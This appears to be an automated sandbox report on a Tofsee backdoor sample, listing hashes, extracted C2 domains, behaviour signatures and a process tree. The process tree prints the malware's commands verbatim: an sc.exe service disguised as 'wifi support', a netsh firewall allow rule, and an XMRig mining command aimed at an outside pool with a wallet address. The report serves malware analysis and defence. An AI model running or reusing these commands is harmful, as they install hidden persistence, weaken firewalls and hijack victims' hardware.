Analysis

  • max time kernel
    181s
  • max time network
    190s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:33

General

  • Target

    21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe

  • Size

    329KB

  • MD5

    c5acf32a68fc55104b5dafc61245bab4

  • SHA1

    8a1d49efbb20a987cd87d227c4c4016a36c76afb

  • SHA256

    21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb

  • SHA512

    8bc262803139c0420b71ffea63e772124446349d913bb194646c22f0d4dca0cd04d3a3108032c2f31618f482e86fbfa0aa4de63d7c53fcd03dcc438763970808

  • SSDEEP

    3072:y9xdm7sMhs6Y28qryW6A4bdZc4nJcJW+XkmwVWf4rEVjSHwZROr4bpLkC:yIths6Y28ehy5nJcU6QrEVjWlr4a

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe
    "C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vgsmmbsk\
      2⤵
        PID:2624
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oeapkcai.exe" C:\Windows\SysWOW64\vgsmmbsk\
        2⤵
          PID:2720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vgsmmbsk binPath= "C:\Windows\SysWOW64\vgsmmbsk\oeapkcai.exe /d\"C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vgsmmbsk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vgsmmbsk
          2⤵
          • Launches sc.exe
          PID:2500
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3012
      • C:\Windows\SysWOW64\vgsmmbsk\oeapkcai.exe
        C:\Windows\SysWOW64\vgsmmbsk\oeapkcai.exe /d"C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2540
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:552
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2800

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\oeapkcai.exe

              Filesize

              12.5MB

              MD5

              58afcc0a06777e3b979fb8ab3867ac07

              SHA1

              3fa913e40b814a58bd1c0fff917a0744eef047bb

              SHA256

              1deafacadd53c4abcd5dfbf736b7765fc458e6555822361c36d386a2e719efed

              SHA512

              fbe55078ababbd50daabf7d6e7bf25fb7e1552d673c1415f1f91cf3930640d60811bebc413401953e9286dc74357d181a17f3d5289525158f75197ca5443febe

            • C:\Windows\SysWOW64\vgsmmbsk\oeapkcai.exe

              Filesize

              12.5MB

              MD5

              58afcc0a06777e3b979fb8ab3867ac07

              SHA1

              3fa913e40b814a58bd1c0fff917a0744eef047bb

              SHA256

              1deafacadd53c4abcd5dfbf736b7765fc458e6555822361c36d386a2e719efed

              SHA512

              fbe55078ababbd50daabf7d6e7bf25fb7e1552d673c1415f1f91cf3930640d60811bebc413401953e9286dc74357d181a17f3d5289525158f75197ca5443febe

            • memory/552-43-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-60-0x0000000000350000-0x0000000000357000-memory.dmp

              Filesize

              28KB

            • memory/552-81-0x0000000000090000-0x00000000000A5000-memory.dmp

              Filesize

              84KB

            • memory/552-44-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-59-0x00000000054B0000-0x00000000058BB000-memory.dmp

              Filesize

              4.0MB

            • memory/552-15-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/552-14-0x0000000000090000-0x00000000000A5000-memory.dmp

              Filesize

              84KB

            • memory/552-17-0x0000000000090000-0x00000000000A5000-memory.dmp

              Filesize

              84KB

            • memory/552-56-0x00000000054B0000-0x00000000058BB000-memory.dmp

              Filesize

              4.0MB

            • memory/552-20-0x0000000000090000-0x00000000000A5000-memory.dmp

              Filesize

              84KB

            • memory/552-22-0x0000000000090000-0x00000000000A5000-memory.dmp

              Filesize

              84KB

            • memory/552-23-0x0000000000090000-0x00000000000A5000-memory.dmp

              Filesize

              84KB

            • memory/552-25-0x0000000001A50000-0x0000000001C5F000-memory.dmp

              Filesize

              2.1MB

            • memory/552-28-0x0000000001A50000-0x0000000001C5F000-memory.dmp

              Filesize

              2.1MB

            • memory/552-29-0x00000000000B0000-0x00000000000B6000-memory.dmp

              Filesize

              24KB

            • memory/552-32-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-35-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-36-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-37-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-38-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-39-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-41-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-40-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-42-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-55-0x0000000000240000-0x0000000000245000-memory.dmp

              Filesize

              20KB

            • memory/552-52-0x0000000000240000-0x0000000000245000-memory.dmp

              Filesize

              20KB

            • memory/552-45-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-46-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-47-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-48-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-49-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-50-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/552-51-0x00000000001B0000-0x00000000001C0000-memory.dmp

              Filesize

              64KB

            • memory/2540-12-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2540-11-0x0000000000640000-0x0000000000740000-memory.dmp

              Filesize

              1024KB

            • memory/2540-18-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2540-13-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2704-1-0x0000000000590000-0x0000000000690000-memory.dmp

              Filesize

              1024KB

            • memory/2704-3-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2704-5-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2704-7-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2704-8-0x00000000002B0000-0x00000000002C3000-memory.dmp

              Filesize

              76KB

            • memory/2704-2-0x00000000002B0000-0x00000000002C3000-memory.dmp

              Filesize

              76KB

            • memory/2800-64-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/2800-65-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/2800-73-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/2800-74-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/2800-75-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/2800-76-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/2800-77-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB